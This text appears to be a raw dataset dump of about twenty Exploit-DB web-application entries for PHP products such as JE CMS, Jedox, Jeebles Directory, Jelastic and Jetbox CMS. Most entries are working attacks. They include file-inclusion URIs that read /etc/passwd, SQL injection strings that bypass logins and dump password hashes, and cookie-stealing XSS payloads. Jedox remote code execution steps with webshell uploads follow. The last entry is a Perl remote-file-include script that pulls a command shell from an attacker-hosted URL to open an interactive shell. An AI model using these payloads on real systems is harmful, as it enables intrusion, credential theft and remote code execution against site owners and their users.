deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12598
Description: JE Ajax Event Calendar - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-14
Author: Valentin

Exploit:
# Exploit Title: JE Ajax Event Calendar Local File Inclusion Vulnerability
# Date: 14.05.2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.0.3
# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = JE Ajax Event Calendar Local File Inclusion Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = JE Ajax event calendar
Vendor = Harmis Technology
Vendor Website = http://joomlaextensions.co.in/
Affected Version(s) = 1.0.3

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = Local File Inclusion
Example URI = index.php?option=com_jeajaxeventcalendar&view=../../../../../../etc/passwd%00


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.05.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #15141
Description: JE CMS 1.0.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-09-28
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-28-je-cms-1-0-0-bypass-authentication-by-sql-injection-vulnerability/
'''

 
Title  : JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
Affected Version : JE CMS <= 1.0.0
Vendor  Site   : joenasejes.cz.cc
Discovery : abysssec.com
  
 
Vulnerabilites :

1. Bypass Authentication by SQL Injection Vulnerability

in administrator\login.php page, lines 16-20:
if (isset($_REQUEST['username'])) {
	$username = $_REQUEST['username'];
	$password = $_REQUEST['password'];
	$result = $core->userLogin();
	
	
userLogin() function is in administrator\library\functions.php. in lines 129-139:
		if ($userName == '' || $password == '') {
			$errorMessage = JE_MISMATCH_USERNAME_PASSWORD;
		}  else {
			// check the database and see if the username and password combo do match
			$sql = "SELECT userid
					FROM users 
					WHERE username = '".$userName."' 		// vulnerability is here
					AND password = '".$this->getHash($password)."'	// vulnerability is here
					AND usertype = 1
					AND block = 0";
			$result = $this->JEQuery($sql);

POC:

in administrator/login.php:

username: admin' or '1'='1
password: admin' or '1'='1

2. SQL injection in administrator\index.php on "userid" parameter:

in administrator\index.php file line 12:
$userid			= 	$_REQUEST['userid'];
lines 52-53:
	case 'edituser' :
		$user = $core->getUser($userid);
		
getUser function is in administrator\library\functions.php file. lines 578-583:

	function getUser($id){
		
		$sql = "SELECT *
				FROM users
				WHERE userid = ".$id;	// vulnerability is here
		$result = $this->JEQuery($sql);

POC:

http://site/joenas-ejes/administrator/index.php?jepage=edituser&userid=1 and 1=2 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users--
Exploit-DB #12641
Description: JE CMS 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-17
Author: AntiSecurity

Exploit:
==========================================================================================================================================================


  [o] JE CMS SQL Injection Vulnerability
 
       Software : JE CMS version 1.1
       Vendor   : http://joenasejes.cz.cc/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


==========================================================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?jepage=viewcategory&categoryid=[sql]


  [o] PoC

       http://localhost/index.php?jepage=viewcategory&categoryid=84+and+1=2+union+all+select+1,group_concat(username,0x3a,password),3,4,5,6+from+users--


==========================================================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
       ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net


==========================================================================================================================================================


  [o] May 17 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #51428
Description: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls
Type: webapps
Platform: php
Date: 2023-05-05
Author: Team Syslifters

Exploit:
# Exploit Title: Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47874


Introduction
=================
Improper access controls in `/tc/rpc` allows remote authenticated users to view details of database connections via the class `com.jedox.etl.mngr.Connections` and the method `getGlobalConnection`. To exploit the vulnerability, the attacker must know the name of the database connection.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) List all available database connections via `conn::ls` (see also: CVE-2022-47879):

	PATH: /be/rpc.php
	METHOD: POST
	BODY:
	[
		[
			"conn",
			"ls",
			[
				null,
				false,
				true,
				[
					"type",
					"active",
					"description"
				]
			]
		]
	]

2) Retrieve details of a database connection (specify connection name via CONNECTION) including encrypted credentials using the Java RPC function `com.jedox.etl.mngr.Connection::getGlobalConnection`:

	PATH: /tc/rpc
	METHOD: POST
	BODY:
	[
		[
			"com.jedox.etl.mngr.Connections",
			"getGlobalConnection",
			[
				"<CONNECTION>"
			]
		]
	]
Exploit-DB #51426
Description: Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path
Type: webapps
Platform: php
Date: 2023-05-05
Author: Team Syslifters

Exploit:
# Exploit Title: Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47878


Introduction
=================
Incorrect input validation for the default storage path variable in the settings page allows remote, authenticated users to specify the location as web root directory. Consecutive file uploads can lead to the execution of arbitrary code. To exploit the vulnerability, the attacker sets the default storage path to the web root.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) In the UI in the application settings page the default storage path can be set to any value. This path could be set as the webroot directory of the webserver e.g. /htdocs/app/docroot/.

2) Then any upload/import function can be used to upload a .php webshell file to the webroot.

3) Execute webshell from the webroot directory to obtain RCE.
Exploit-DB #51427
Description: Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts
Type: webapps
Platform: php
Date: 2023-05-05
Author: Team Syslifters

Exploit:
# Exploit Title: Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts
# Date: 28/04/2023
# Exploit Author: Syslifters - Christoph Mahrl, Aron Molnar, Patrick Pirker and Michael Wedl
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47876


Introduction
=================
Jedox Integrator allows remote authenticated users to create Jobs to execute arbitrary code via Groovy-scripts. To exploit the vulnerability, the attacker must be able to create a Groovy-Job in Integrator.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) A user with appropriate permissions can create Groovy jobs in the Integrator with arbitrary script code. Run the following groovy script to execute `whoami`. The output of the command can be viewed in the logs:

	def sout = new StringBuilder(), serr = new StringBuilder()
	def proc = 'whoami'.execute()
	proc.consumeProcessOutput(sout, serr)
	proc.waitForOrKill(10000)
	LOG.error(sout.toString());
	LOG.error(serr.toString());
Exploit-DB #51425
Description: Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module
Type: webapps
Platform: php
Date: 2023-05-05
Author: Team Syslifters

Exploit:
# Exploit Title: Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47877


Introduction
=================
A Stored cross-site scripting vulnerability allows remote authenticated users to inject arbitrary web scripts or HTML in the logs page via the log module. To exploit the vulnerability, the attacker must append an XSS payload to the log message.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) Store log entry with XSS payload:

	PATH: /ub/ccmd
	METHOD: POST
	BODY:
	[
		[
			"log",
			"error",
			"<img src=# onerror=\"alert('XSS')\">"
		]
	]

2) Trigger XSS payload by opening the Logs page and showing the respective log entry.
Exploit-DB #51429
Description: Jedox 2022.4.2 - Disclosure of Database Credentials via Connection Checks
Type: webapps
Platform: php
Date: 2023-05-05
Author: Team Syslifters

Exploit:
# Exploit Title: Jedox 2022.4.2 - Disclosure of Database Credentials via Connection Checks
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2022.4 (22.4.2) and older
# CVE : CVE-2022-47880


Introduction
=================
An information disclosure vulnerability in `/be/rpc.php` allows remote authenticated users with the appropriate permissions to modify database connections to disclose the clear text credentials via the `test connection` function. To exploit the vulnerability, the attacker must set the host of the database connection to a server under his control.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) The host part of a database connection can be changed in the connections details in the UI. Set the Host to a server that you control.

2) Test the database connection.

3) The webserver initiates a connection to the server that you control. Use wireshark to capture network traffic and to ultimately extract the database credentials.
Exploit-DB #51424
Description: Jedox 2022.4.2 - Remote Code Execution via Directory Traversal
Type: webapps
Platform: php
Date: 2023-05-05
Author: Team Syslifters

Exploit:
# Exploit Title: Jedox 2022.4.2 - Remote Code Execution via Directory Traversal
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2022.4 (22.4.2) and older
# CVE : CVE-2022-47875


Introduction
=================
A Directory Traversal vulnerability in /be/erpc.php allows remote authenticated users to execute arbitrary code. To exploit the vulnerability, the attacker must have the permissions to upload files.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) This vulnerability can be exploited by first uploading a file using one of the existing file upload mechanisms (e.g. Import in Designer). When uploading a file, the web application returns the file system path in the JSON body of the HTTP response (look for `fspath`).

2) Upload a PHP file and note the file system path (`fspath`)

3) Get RCE via Directory Traversal

	PATH: /be/erpc.php?c=../../../../../fspath/of/uploaded/file/rce.php
	METHOD: POST
Exploit-DB #31393
Description: Jeebles Directory 2.9.60 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28221/info

Jeebles Directory is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/Jeebles_Directory/?path="><script>alert()</script>
http://www.example.com/Jeebles_Directory/?path=subdirectory/"><script>alert(document.cookie)</script>
http://www.example.com/Jeebles_Directory/subdirectory/index.php?path="><script>alert(document.cookie)</script>
http://www.example.com/Jeebles_Directory/index.php?administration&access_login=-1&access_password=<br%20/><b>Notice</b>:%20%20Undefined%20index:%20%20access_password%20in%20<b>c:\program%20files\easyphp1-8\www\jeebles_directory\describe.php</b>%20on%20line%20<b>62</b><br%20/>&path=<br%20/><b>Notice</b>:%20%20Use%20of%20undefined%20constant%20path%20-%20assumed%20&#039;path&#039;%20in%20<b>c:\program%20files\easyphp1-8\www\jeebles_directory\describe.php</b>%20on%20line%20<b>62</b><br%20/><br%20/><b>Notice</b>:%20%20Undefined%20index:%20%20path%20in%20<b>"><script>alert(document.cookie)</script></b>%20on%20line%20<b>62</b><br%20/>
Exploit-DB #30701
Description: Jeebles Technology Jeebles Directory 2.9.60 - 'download.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-22
Author: hack2prison

Exploit:
source: https://www.securityfocus.com/bid/26171/info

Jeebles Directory is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to execute local scripts or to view arbitrary files that may contain sensitive information that can aid in further attacks.

This issue affects Jeebles Directory 2.9.60; other versions may also be affected. 


http://www.example.com/[path]/download.php?settings2.inc.php
Exploit-DB #45764
Description: Jelastic 5.4 - 'host' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-02
Author: Procode701

Exploit:
# Exploit Title: Jelastic 5.4 - 'host' SQL injection
# Google Dork: N/A
# Date: [date]
# Exploit Author: Procode701
# Vendor Homepage: https://jelastic.com/
# Software Link: https://jelastic.com/
# Version: 5.4
# Tested on: [Kali Linux]
# CVE : N/A

# POC: 
# The application /1.0/users/authentication/rest/signin is vulnerable to SQL injection.
# Vulnerable application Header field: Host:' AND 8494=8494-- ttWV

# EXPLOIT POC :
# Parameter: Host #1* ((custom) HEADER)
#     Type: boolean-based blind
#     Payload:' AND 8494=8494-- ttWV
# PAYLOAD: ' AND 8494=8494-- ttWV

POST /1.0/users/authentication/rest/signin HTTP/1.1
Host: localhost'-8564' OR 8495=8495-- yjRM--delay=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 128
Cookie: GLang=en; GLocale=en-us; jrouter=b916bf4d3b39e6029fd403f21566f3f1
DNT: 1
Connection: close

charset=UTF-8&hx_lang=en&session=1&ruk=cccc5e05-c0cb-4419-8a34-tab606191&email=testing%40gg.com&[CREDENTIAL_REDACTED]=dashboard
Exploit-DB #27899
Description: JemWeb DownloadControl 1.0 - 'DC.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-19
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18041/info

DownloadControl is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

DownloadControl 1.0 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/dc.php?dcid=80477172'
Exploit-DB #32495
Description: Jetbox CMS 2.1 - '/admin/cms/images.php?orderby' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-20
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/31824/info

Jetbox CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Jetbox CMS 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/admin/cms/images.php?orderby=[INJECTION POINT]
Exploit-DB #32496
Description: Jetbox CMS 2.1 - '/admin/cms/nav.php?nav_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-20
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/31824/info
 
Jetbox CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Jetbox CMS 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/path/admin/cms/nav.php?task=editrecord&nav_id=[INJECTION POINT]
Exploit-DB #30041
Description: Jetbox CMS 2.1 - '/view/search/?path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-15
Author: Mikhail Markin

Exploit:
source: https://www.securityfocus.com/bid/23999/info

Jetbox CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Jetbox CMS 2.1 is vulnerable. 

http://www.example.com/jetbox/index.php/view/search/?path=[xss]
Exploit-DB #32525
Description: Jetbox CMS 2.1 - 'liste' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-23
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/31890/info

Jetbox CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Jetbox CMS 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/postlister/index.php?liste=default%22%3E%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #1761
Description: Jetbox CMS 2.1 - 'relative_script_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-07
Author: beford

Exploit:
#!/usr/bin/perl
############
# JetBox CMS Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>
# 		perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable 
# relative_script_path in a include() function without being declared. 
# This issue has already been fixed in phpdig, but jetbox still uses a 
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while()
{
	print "[shell] \$";
	while(<STDIN>)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent->new() or die;
		$req = HTTP::Request->new(GET =>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
		$res = $xpl->request($req);
		$return = $res->content;
		$return =~ tr/[\n]/[ê]/;
		
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nComando Invalido, o no hubo respuesta\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ê]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}

	}

} last;

sub head()  { 
	 print "\n============================================================================\r\n";
	 print " JetBox CMS Remote File Include\r\n";
	 print "============================================================================\r\n";
 }
 
sub usage() {
	 head();
	 print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
	 print " <host> - Full Path : http://host/jetbox/ [remember the trailing slash noob]\r\n";
	 print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
	 print " <var> - var name used in phpshell : cmd  \r\n";
	 exit();
 }

# milw0rm.com [2006-05-07]